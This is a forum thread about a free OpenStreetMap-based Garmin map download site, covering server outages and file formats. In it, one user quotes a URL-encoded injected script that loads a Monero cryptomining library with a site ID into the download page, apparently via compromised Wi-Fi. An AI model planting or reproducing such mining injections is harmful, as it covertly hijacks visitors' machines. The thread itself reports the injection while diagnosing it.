Worldwide routable Garmin maps: URL REMOVED

Having some similar problems accessing the above site … when selecting a predefined set of maps (Thailand, in my case), the download now link shows </script>");} ’ target=‘_blank’>Download map now!

Examination of the full link address shows that its seems to contain a Data Miner.

"[url]http://garmin.openstreetmap.nl/%3Chtml%3E%3Chead%3E%20%20%3Cscript%20src=%22https://xmr.omine.org/assets/v7.js%22%3E%3C/script%3E%20%20%3Cscript%3E%20%20%20%20OMINEId(%22f6c7f38e473a4a0a9d9d1f340cb260a3%22,%22-1%22);%20%20%20%20%20throttleMiner=30;%20%20%20%3C/script%3E%20%20%3C/head%3E%3Cbody%3E%20%20%3Cdiv%20%3E%20%20%20%20%20%3Ciframe%20src=%22http://garmin.openstreetmap.nl/exists.php%22%20width=%22100%%22%20height=%22100%%22%20id=%22demo_frame%22%20scrolling=%22no%22%20frameborder=%220%22%3E%3C/iframe%3E%20%20%3C/div%3E%3Cscript%3E%20%20var%20i%20=%20document.getElementById([/url]"

Now, I have run a number of Malware checker programs including Malwarebytes, which says my PC is clean, but of course, it could be wrong Is anyone else experiencing this behaviour ?

I see this download link for generic new style + Thailand:

Russ, I dont see this behaviour. Maybe your computer is infected? :confused:

Gerd, thanks.
Ligfietser - Yes, I’m quite mindful of the fact the problem is local … and have been doing some more checking. When I open your site using a different network connection (4g Hotspot), the problem goes away. I normally connect through a condo community Wifi network and I strongly suspect this has been compromised.
Cheers, Russ.

Tried to download the file osm_generic_new_gmapsupp.zip as well as osm_generic_gmapsupp.zip (south korea) but it comes down as a .img file. When I click on it it says that it is not a mountable image.

The .zip files are supposed to contain a .img file. This file is not meant to be mounted as a disk, so double-clicking it won’t do anything you want. You need to copy it to your device, which can then read it as a Garmin map file.

Is anyone else having trouble loading the site?

What is happening with the website? The data doesn’t load on the website’s interface. I tried on different browsers and devices…

Yep the Wuppertal server is offline, maybe maintainance? I can’t update my maps too.
Try it later.

Still unavailable…

Try another provider until it comes available…

Yes thanks I knew about that. I want something specific that only this site provides :slight_smile:

Thanks for that!

Seems that due to construction works the servers are down this week. Try it later or use another service.

Create your own map instead? See https://wiki.openstreetmap.org/wiki/OSM_Map_On_Garmin#Creating_your_own_maps_from_OSM_data and for a simple worked example, https://www.openstreetmap.org/user/SomeoneElse/diary/38613 .

thanks.
nice to know. have tried a couple of days. lot of frustration :slight_smile:

I don’t think that there is another service which allows me to create a single map with disjoint tiles is there?

It would be helpful if the “Server Status:” area on the web page was updated with an ETA…

Giving an ETA for an unpredictable event is like prophesying the future. You clearly are using your GPS device way too much :stuck_out_tongue: :laughing:

Well I have just retired from a career of running IT projects including data centre relocations and similar. I do believe that, even if the event that led to the outage was unscheduled, four days since then should have allowed some estimate of when the issue will be rectified.The “E” in ETA is Estimated, and I think we could all accept that it is not guaranteed to be 100% accurate but that’s not the point.

We do “prophesy the future” fairly regularly. It helps us decide whether to pack a warm jacket or a raincoat. It isn’t always perfect but it is better than nothing.

Last, the estimate was already given above, I was just asking for it to be added at the appropriate place on the web page so that others do not have to go digging into the forum to find out!

I’ve certainly done that manually (without using any external site, just using OSM data)…
